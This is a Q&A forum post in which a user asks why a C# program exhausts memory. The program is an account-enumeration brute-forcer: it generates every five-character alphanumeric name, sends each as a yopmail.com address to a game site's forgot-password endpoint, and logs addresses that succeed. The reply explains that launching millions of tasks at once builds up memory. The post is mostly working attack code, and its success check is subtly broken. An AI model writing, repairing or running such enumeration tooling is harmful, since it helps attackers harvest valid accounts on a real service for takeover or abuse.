0

My problem is that it is using way too much memory. It will start low then creep up to like 34% usage => outofmemory exception.

I'm not sure how to make it get rid of the memory used, or just make it use a lot less. I'm really unsure!

code:

using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading.Tasks;

namespace Kek
{
    internal class Program
    {
        private static void Main(string[] args)
        {
            Program p = new Program();
            p.StartYopForce();

            Console.ReadKey();
        }

        private readonly object syncRoot = new object();

        public void loadUrlThreadMethodMail(string email)
        {
            Console.Title = "\r" + email;

            var request = (HttpWebRequest)WebRequest.Create("http://www.realmofthemadgod.com/account/forgotPassword?guid=" + email + "@yopmail.com");

            using (var response = (HttpWebResponse)request.GetResponse())
            {
                if (response.ToString() == "<Success/>")
                {
                    Console.WriteLine($"[{DateTime.Now}] Found: " + email + "@yopmail.com");

                    lock (syncRoot)
                    {
                        using (StreamWriter sw = File.AppendText(@"C:\Users\Bailey\Desktop\Lists\yop.txt"))
                        {
                            sw.WriteLine(email + "@yopmail.com");
                            sw.Close();
                        }
                    }
                }
            }
        }

        public void StartYopForce()

        {
            Bruteforce b = new Bruteforce();

            b.charset = "abcdefghijklmnopqrstuvwxyz1234567890";
            b.min = 5;
            b.max = 5;

            foreach (string i in b)
            {
                Task.Factory.StartNew(() =>
                {
                    loadUrlThreadMethodMail(i);
                });
            }
        }
    }
}

internal class Bruteforce : IEnumerable
{
    #region constructors

    private StringBuilder sb = new StringBuilder();

    //the string we want to permutate
    public string charset = "abcdefghijklmnopqrstuvwxyz";

    private ulong len;
    private int _max;
    public int max { get { return _max; } set { _max = value; } }
    private int _min;
    public int min { get { return _min; } set { _min = value; } }

    #endregion constructors

    #region Methods

    public System.Collections.IEnumerator GetEnumerator()
    {
        len = (ulong)this.charset.Length;
        for (double x = min; x <= max; x++)
        {
            ulong total = (ulong)Math.Pow((double)charset.Length, (double)x);
            ulong counter = 0;
            while (counter < total)
            {
                string a = factoradic(counter, x - 1);
                yield return a;
                counter++;
            }
        }
    }

    private string factoradic(ulong l, double power)
    {
        sb.Length = 0;
        while (power >= 0)
        {
            sb = sb.Append(this.charset[(int)(l % len)]);
            l /= len;
            power--;
        }
        return sb.ToString();
    }

    #endregion Methods
}
3
  • I find it rather odd that you create a instance of Program class from within the Main(). Another technique would be to make the remaining methods static. Commented May 22, 2016 at 20:01
  • What do you mean? It is unethical I guess but it's for testing purposes Commented May 22, 2016 at 20:02
  • Programming questions are off-topic here. This question is a good fit for our sister site Stack Overflow though. Commented May 22, 2016 at 21:14

1 Answer 1

1

Your are creating all tasks in a loop in StartYopForce() without counting how many are still there. Given the parameters you have 26^5=11881376 tasks to start.

Task creation probably runs faster than task completion so the task list builds up faster than it is being emptied and given the number of tasks that is not a negliable amount of memory.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.